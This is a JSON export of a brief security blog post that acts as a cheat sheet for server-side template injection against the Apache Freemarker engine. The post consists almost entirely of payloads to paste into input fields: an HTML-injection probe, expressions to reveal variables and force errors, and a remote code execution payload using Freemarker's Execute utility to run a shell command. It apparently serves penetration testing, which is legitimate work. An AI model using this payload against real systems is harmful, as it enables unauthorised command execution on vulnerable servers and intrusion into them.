{"id":5000,"date":"2026-06-10T17:14:07","date_gmt":"2026-06-10T15:14:07","guid":{"rendered":"https:\/\/infosec.andreas-klingler.de\/?p=5000"},"modified":"2026-06-10T17:23:15","modified_gmt":"2026-06-10T15:23:15","slug":"freemarker-template-engine","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=5000","title":{"rendered":"Freemarker template engine"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Apache Freemark\u00ader is a tem\u00adplate engine, some\u00adtimes used with Java application.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Old\u00ader Freemark\u00ader engines did not pre\u00advent <span class=\"caps\">HTML<\/span> in strings. There\u00adfore, try in a field some\u00adthing like&nbsp;this:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Ha&lt;b&gt;llo&lt;\/b&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Show the val\u00adue of a variable:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">${var}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Exe\u00adcu\u00adtion to force an error message:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">${'a'*5}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><span class=\"caps\">RCE<\/span>:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Apache Freemark\u00ader is a tem\u00adplate engine, some\u00adtimes used with Java appli\u00adca\u00adtion. Old\u00ader Freemark\u00ader engines did not pre\u00advent <span class=\"caps\">HTML<\/span> in strings. There\u00adfore, try in a field some\u00adthing like&nbsp;this: Ha&lt;b&gt;llo&lt;\/b&gt; Show the val\u00adue of a vari\u00adable: ${var} Exe\u00adcu\u00adtion to force an error mes\u00adsage: ${\u2018a\u2019*5} <span class=\"caps\">RCE<\/span>: ${\u201cfreemarker.template.utility.Execute\u201d?new()(\u201cwhoami\u201d)}<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470,471],"tags":[542,268,540],"class_list":["post-5000","post","type-post","status-publish","format-standard","hentry","category-active-enum","category-privesc","tag-freemarker","tag-java","tag-template"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/5000","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5000"}],"version-history":[{"count":2,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/5000\/revisions"}],"predecessor-version":[{"id":5003,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/5000\/revisions\/5003"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5000"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5000"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5000"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}